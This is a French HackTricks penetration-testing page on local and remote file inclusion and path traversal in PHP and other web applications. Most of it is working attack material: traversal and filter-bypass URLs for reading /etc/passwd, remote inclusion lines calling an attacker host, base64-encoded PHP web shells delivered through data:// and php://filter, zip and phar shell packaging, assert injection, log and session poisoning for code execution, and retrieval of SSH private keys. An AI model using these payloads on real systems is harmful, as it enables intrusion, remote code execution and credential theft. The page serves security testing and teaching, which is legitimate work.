mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 16:39:32 +00:00
658 lines
35 KiB
Markdown
658 lines
35 KiB
Markdown
# Inclusion de fichier/Parcours de chemin
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
|
|
|
**Aperçus du Hacking**\
|
|
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
|
|
|
|
**Nouvelles du Hacking en Temps Réel**\
|
|
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
|
|
|
|
**Dernières Annonces**\
|
|
Restez informé avec les lancements de nouvelles primes de bugs et les mises à jour cruciales de la plateforme
|
|
|
|
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
|
|
|
## Inclusion de fichier
|
|
|
|
**Inclusion de fichier distant (RFI) :** Le fichier est chargé depuis un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, ceci est **désactivé** par défaut (**allow\_url\_include**).\
|
|
**Inclusion de fichier local (LFI) :** Le serveur charge un fichier local.
|
|
|
|
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier qui va être chargé par le serveur.
|
|
|
|
**Fonctions PHP vulnérables** : require, require\_once, include, include\_once
|
|
|
|
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
|
|
|
## Aveugle - Intéressant - Fichiers LFI2RCE
|
|
```python
|
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
|
```
|
|
### **Linux**
|
|
|
|
**En mélangeant plusieurs listes LFI \*nix et en ajoutant plus de chemins, j'ai créé celle-ci :**
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
|
|
|
Essayez également de changer `/` par `\`\
|
|
Essayez aussi d'ajouter `../../../../../`
|
|
|
|
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
|
|
|
### **Windows**
|
|
|
|
En fusionnant plusieurs listes, j'ai créé :
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
|
|
|
Essayez également de changer `/` par `\`\
|
|
Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../`
|
|
|
|
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
|
|
|
### **OS X**
|
|
|
|
Vérifiez la liste LFI de linux.
|
|
|
|
## LFI de base et contournements
|
|
|
|
Tous les exemples sont pour l'Inclusion de Fichier Local mais pourraient aussi être appliqués à l'Inclusion de Fichier Distant (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd
|
|
```
|
|
### séquences de traversée supprimées de manière non récursive
|
|
```python
|
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
|
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|
```
|
|
### **Octet nul (%00)**
|
|
|
|
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd%00
|
|
```
|
|
Ce problème est **résolu depuis PHP 5.4**
|
|
|
|
### **Encodage**
|
|
|
|
Vous pourriez utiliser des encodages non standard tels que le double encodage d'URL (et d'autres) :
|
|
```
|
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|
```
|
|
### Depuis un dossier existant
|
|
|
|
Il se peut que le back-end vérifie le chemin du dossier :
|
|
```python
|
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|
```
|
|
### Identification des dossiers sur un serveur
|
|
|
|
Selon le code applicatif / les caractères autorisés, il pourrait être possible d'explorer récursivement le système de fichiers en découvrant des dossiers et pas seulement des fichiers. Pour ce faire :
|
|
|
|
* identifiez la "profondeur" de votre répertoire actuel en récupérant avec succès `/etc/passwd` (si sous Linux) :
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|
```
|
|
* essayez de deviner le nom d'un dossier dans le répertoire courant en ajoutant le nom du dossier (ici, `private`), puis en revenant à `/etc/passwd` :
|
|
```
|
|
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
|
|
```
|
|
* si l'application est vulnérable, il pourrait y avoir deux résultats différents à la requête :
|
|
* si vous obtenez une erreur / pas de sortie, le dossier `private` n'existe pas à cet emplacement
|
|
* si vous obtenez le contenu de `/etc/passwd`, vous avez validé qu'il y a effectivement un dossier `private` dans votre répertoire courant
|
|
* le ou les dossiers que vous avez découverts en utilisant cette technique peuvent ensuite être explorés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-répertoires en utilisant la même technique de manière récursive.
|
|
|
|
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, sous la même hypothèse (répertoire courant à la profondeur 3 du système de fichiers) vous souhaitez vérifier si `/var/www/` contient un répertoire `private`, utilisez le payload suivant :
|
|
```
|
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|
```
|
|
La séquence de commandes suivante permet la génération de charges utiles en utilisant `sed` (1) comme entrée pour des outils de fuzzing d'URL tels que `ffuf` (2) :
|
|
```
|
|
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
|
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
|
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
|
|
```
|
|
Bien sûr, adaptez ces charges utiles à vos besoins en termes de profondeur / emplacement / liste de répertoires d'entrée.
|
|
|
|
### **Troncature de chemin**
|
|
|
|
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
|
```
|
|
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
|
Check if last 6 chars are passwd --> passwd/
|
|
Check if last 4 chars are ".php" --> shellcode.php/.
|
|
```
|
|
|
|
```
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
|
|
|
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
|
|
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
|
```
|
|
Toujours essayer de **commencer** le chemin **avec un répertoire factice** (a/).
|
|
|
|
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
|
|
|
|
### **Astuces pour contourner les filtres**
|
|
```
|
|
http://example.com/index.php?page=....//....//etc/passwd
|
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
|
http://example.com/index.php?page=PhP://filter
|
|
```
|
|
## Inclusion de fichier à distance
|
|
|
|
En php, cela est désactivé par défaut car **`allow_url_include`** est **Off.** Il doit être **On** pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une exécution de commande à distance (RCE) :
|
|
```python
|
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
|
```
|
|
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir RCE :
|
|
|
|
{% code overflow="wrap" %}
|
|
```
|
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="info" %}
|
|
Dans le code précédent, le final `+.txt` a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par `.txt`, donc la chaîne se termine par cela et après le décodage b64, cette partie retournera juste des données inutiles et le vrai code PHP sera inclus (et donc, exécuté).
|
|
{% endhint %}
|
|
|
|
Un autre exemple **sans utiliser le protocole `php://`** serait :
|
|
|
|
{% code overflow="wrap" %}
|
|
```
|
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
|
```
|
|
```markdown
|
|
{% endcode %}
|
|
|
|
## Élément racine Python
|
|
|
|
En python dans un code comme celui-ci :
|
|
```
|
|
```python
|
|
# file_name is controlled by a user
|
|
os.path.join(os.getcwd(), "public", file_name)
|
|
```
|
|
Si l'utilisateur passe un **chemin absolu** à **`file_name`**, **le chemin précédent est simplement supprimé** :
|
|
```python
|
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|
'/etc/passwd'
|
|
```
|
|
```markdown
|
|
C'est le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
|
|
|
|
> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu.
|
|
|
|
## Java List Directories
|
|
|
|
Il semble que si vous avez une Traversal de chemin en Java et que vous **demandez un répertoire** au lieu d'un fichier, **une liste du répertoire est retournée**. Ce phénomène ne se produira pas dans d'autres langages (à ma connaissance).
|
|
|
|
## Top 25 des paramètres
|
|
|
|
Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (depuis [lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
|
|
```
|
|
```
|
|
?cat={payload}
|
|
?dir={payload}
|
|
?action={payload}
|
|
?board={payload}
|
|
?date={payload}
|
|
?detail={payload}
|
|
?file={payload}
|
|
?download={payload}
|
|
?path={payload}
|
|
?folder={payload}
|
|
?prefix={payload}
|
|
?include={payload}
|
|
?page={payload}
|
|
?inc={payload}
|
|
?locate={payload}
|
|
?show={payload}
|
|
?doc={payload}
|
|
?site={payload}
|
|
?type={payload}
|
|
?view={payload}
|
|
?content={payload}
|
|
?document={payload}
|
|
?layout={payload}
|
|
?mod={payload}
|
|
?conf={payload}
|
|
```
|
|
## LFI / RFI en utilisant les wrappers & protocoles PHP
|
|
|
|
### php://filter
|
|
|
|
Les filtres PHP permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles soient lues ou écrites. Il existe 5 catégories de filtres :
|
|
|
|
* [Filtres de chaînes](https://www.php.net/manual/fr/filters.string.php) :
|
|
* `string.rot13`
|
|
* `string.toupper`
|
|
* `string.tolower`
|
|
* `string.strip_tags` : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
|
|
* Notez que ce filtre a disparu des versions modernes de PHP
|
|
* [Filtres de conversion](https://www.php.net/manual/fr/filters.convert.php)
|
|
* `convert.base64-encode`
|
|
* `convert.base64-decode`
|
|
* `convert.quoted-printable-encode`
|
|
* `convert.quoted-printable-decode`
|
|
* `convert.iconv.*` : Transforme en un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir **la liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
|
|
|
|
{% hint style="warning" %}
|
|
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via les filtres PHP**](lfi2rce-via-php-filters.md).
|
|
{% endhint %}
|
|
|
|
* [Filtres de compression](https://www.php.net/manual/fr/filters.compression.php)
|
|
* `zlib.deflate` : Compresse le contenu (utile si exfiltration de beaucoup d'informations)
|
|
* `zlib.inflate` : Décompresse les données
|
|
* [Filtres de chiffrement](https://www.php.net/manual/fr/filters.encryption.php)
|
|
* `mcrypt.*` : Obsolète
|
|
* `mdecrypt.*` : Obsolète
|
|
* Autres filtres
|
|
* En exécutant `var_dump(stream_get_filters());` dans PHP, vous pouvez trouver quelques **filtres inattendus** :
|
|
* `consumed`
|
|
* `dechunk` : inverse l'encodage HTTP en morceaux
|
|
* `convert.*`
|
|
```php
|
|
# String Filters
|
|
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
|
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
|
## Same chain without the "|" char
|
|
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
|
## string.string_tags example
|
|
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
|
|
|
# Conversion filter
|
|
## B64 decode
|
|
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
|
## Chain B64 encode and decode
|
|
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
|
## convert.quoted-printable-encode example
|
|
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
|
=C2=A3hellooo=3D
|
|
## convert.iconv.utf-8.utf-16le
|
|
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
|
|
|
# Compresion Filter
|
|
## Compress + B64
|
|
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
|
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
|
```
|
|
{% hint style="warning" %}
|
|
La partie "php://filter" n'est pas sensible à la casse
|
|
{% endhint %}
|
|
|
|
### php://fd
|
|
|
|
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
|
|
```php
|
|
echo file_get_contents("php://fd/3");
|
|
$myfile = fopen("/etc/passwd", "r");
|
|
```
|
|
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder aux **descripteurs de fichiers 0, 1 et 2** respectivement (pas sûr de l'utilité de cela dans une attaque)
|
|
|
|
### zip:// et rar://
|
|
|
|
Téléchargez un fichier Zip ou Rar contenant un PHPShell et accédez-y.\
|
|
Pour pouvoir abuser du protocole rar, il doit **être spécifiquement activé**.
|
|
```bash
|
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
|
zip payload.zip payload.php;
|
|
mv payload.zip shell.jpg;
|
|
rm payload.php
|
|
|
|
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
|
|
|
# To compress with rar
|
|
rar a payload.rar payload.php;
|
|
mv payload.rar shell.jpg;
|
|
rm payload.php
|
|
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|
```
|
|
### data://
|
|
```
|
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
Fait amusant : vous pouvez déclencher un XSS et contourner l'auditeur Chrome avec : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
|
|
|
Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`**
|
|
|
|
### expect://
|
|
|
|
Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci.
|
|
```
|
|
http://example.com/index.php?page=expect://id
|
|
http://example.com/index.php?page=expect://ls
|
|
```
|
|
### input://
|
|
|
|
Spécifiez votre charge utile dans les paramètres POST
|
|
```
|
|
http://example.com/index.php?page=php://input
|
|
POST DATA: <?php system('id'); ?>
|
|
```
|
|
### phar://
|
|
|
|
Un fichier `.phar` peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme `include` pour charger le fichier.
|
|
|
|
{% code title="create_phar.php" %}
|
|
```python
|
|
<?php
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
|
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
Et vous pouvez compiler le `phar` en exécutant la ligne suivante :
|
|
```bash
|
|
php --define phar.readonly=0 create_path.php
|
|
```
|
|
Un fichier appelé `test.phar` sera généré que vous pouvez utiliser pour exploiter la LFI.
|
|
|
|
Si la LFI se contente de lire le fichier et n'exécute pas le code PHP à l'intérieur, par exemple en utilisant des fonctions comme _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Vous pouvez essayer d'exploiter une **désérialisation** survenant lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
|
|
Pour plus d'informations, lisez le post suivant :
|
|
|
|
{% content-ref url="phar-deserialization.md" %}
|
|
[phar-deserialization.md](phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Plus de protocoles
|
|
|
|
Vérifiez plus de [**protocoles possibles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**
|
|
|
|
* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque par inclusion de fichier)
|
|
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
|
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URL HTTP(s)
|
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URL FTP(s)
|
|
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
|
|
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Recherche de chemins correspondant à un motif (Il ne retourne rien d'imprimable, donc pas vraiment utile ici)
|
|
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
|
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
|
|
|
|
## LFI via l'assertion de PHP
|
|
|
|
Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée comme ".." et répond par quelque chose comme "Tentative de piratage" ou "Bien essayé !", un payload d'injection 'assert' peut fonctionner.
|
|
|
|
Un payload comme celui-ci :
|
|
```
|
|
' and die(show_source('/etc/passwd')) or '
|
|
```
|
|
exploitera avec succès du code PHP pour un paramètre "file" qui ressemble à ceci :
|
|
```bash
|
|
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
|
```
|
|
Il est également possible d'obtenir un RCE dans une instruction "assert" vulnérable en utilisant la fonction system() :
|
|
```
|
|
' and die(system("whoami")) or '
|
|
```
|
|
Assurez-vous d'encoder les URL des charges utiles avant de les envoyer.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
|
|
|
**Aperçus du Hacking**\
|
|
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
|
|
|
|
**Nouvelles du Hacking en Temps Réel**\
|
|
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
|
|
|
|
**Dernières Annonces**\
|
|
Restez informé avec les lancements de nouvelles primes de bugs et les mises à jour cruciales de la plateforme
|
|
|
|
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
|
|
|
## PHP Blind Path Traversal
|
|
|
|
{% hint style="warning" %}
|
|
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin de fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**), mais le contenu n'est pas affiché.
|
|
{% endhint %}
|
|
|
|
Dans [**cet incroyable article**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment un blind path traversal peut être abusé via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
|
|
|
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
|
|
|
Ensuite, afin de fuiter le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les fuiter**.
|
|
|
|
**Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (seulement cible en lecture seule avec ceci)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
|
|
|
Pour les détails techniques, consultez l'article mentionné !
|
|
|
|
## LFI2RCE
|
|
|
|
### Inclusion de Fichier à Distance
|
|
|
|
Expliqué précédemment, [**suivez ce lien**](./#remote-file-inclusion).
|
|
|
|
### Via le fichier log Apache/Nginx
|
|
|
|
Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la fonction include, vous pourriez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, définir à l'intérieur de **l'agent utilisateur** ou dans un **paramètre GET** un shell PHP comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
|
|
|
|
{% hint style="warning" %}
|
|
Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP lancera une erreur** et **rien d'autre ne sera exécuté**.
|
|
|
|
De plus, assurez-vous d'**écrire correctement la charge utile** ou PHP générera une erreur chaque fois qu'il essaiera de charger le fichier log et vous n'aurez pas de seconde chance.
|
|
{% endhint %}
|
|
|
|
Cela pourrait également être fait dans d'autres logs mais **soyez prudent,** le code à l'intérieur des logs pourrait être encodé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé à l'intérieur des logs. Le PHPShell pourrait être inséré à l'intérieur de cet en-tête.\
|
|
Autres chemins de logs possibles :
|
|
```python
|
|
/var/log/apache2/access.log
|
|
/var/log/apache/access.log
|
|
/var/log/apache2/error.log
|
|
/var/log/apache/error.log
|
|
/usr/local/apache/log/error_log
|
|
/usr/local/apache2/log/error_log
|
|
/var/log/nginx/access.log
|
|
/var/log/nginx/error.log
|
|
/var/log/httpd/error_log
|
|
```
|
|
Liste de fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
|
|
|
### Via Email
|
|
|
|
**Envoyez un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure le mail de l'utilisateur avec un chemin tel que **`/var/mail/<NOMUTILISATEUR>`** ou **`/var/spool/mail/<NOMUTILISATEUR>`**
|
|
|
|
### Via /proc/\*/fd/\*
|
|
|
|
1. Téléchargez beaucoup de shells (par exemple : 100)
|
|
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé par brute force) et $FD le descripteur de fichier (peut aussi être forcé par brute force)
|
|
|
|
### Via /proc/self/environ
|
|
|
|
Comme un fichier log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ
|
|
```
|
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
|
User-Agent: <?=phpinfo(); ?>
|
|
```
|
|
### Via téléchargement
|
|
|
|
Si vous pouvez télécharger un fichier, injectez simplement le payload de la shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
|
```
|
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
|
```
|
|
Afin de maintenir le fichier lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
|
|
|
|
### Via l'upload de fichier Zip
|
|
|
|
Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez :
|
|
```python
|
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
|
```
|
|
### Via les sessions PHP
|
|
|
|
Vérifiez si le site utilise une session PHP (PHPSESSID)
|
|
```
|
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
|
```
|
|
En PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
|
```
|
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
|
```
|
|
Définissez le cookie à `<?php system('cat /etc/passwd');?>`
|
|
```
|
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|
```
|
|
Utilisez le LFI pour inclure le fichier de session PHP
|
|
```
|
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
|
```
|
|
### Via ssh
|
|
|
|
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id\_rsa**
|
|
|
|
### **Via** **vsftpd** _**logs**_
|
|
|
|
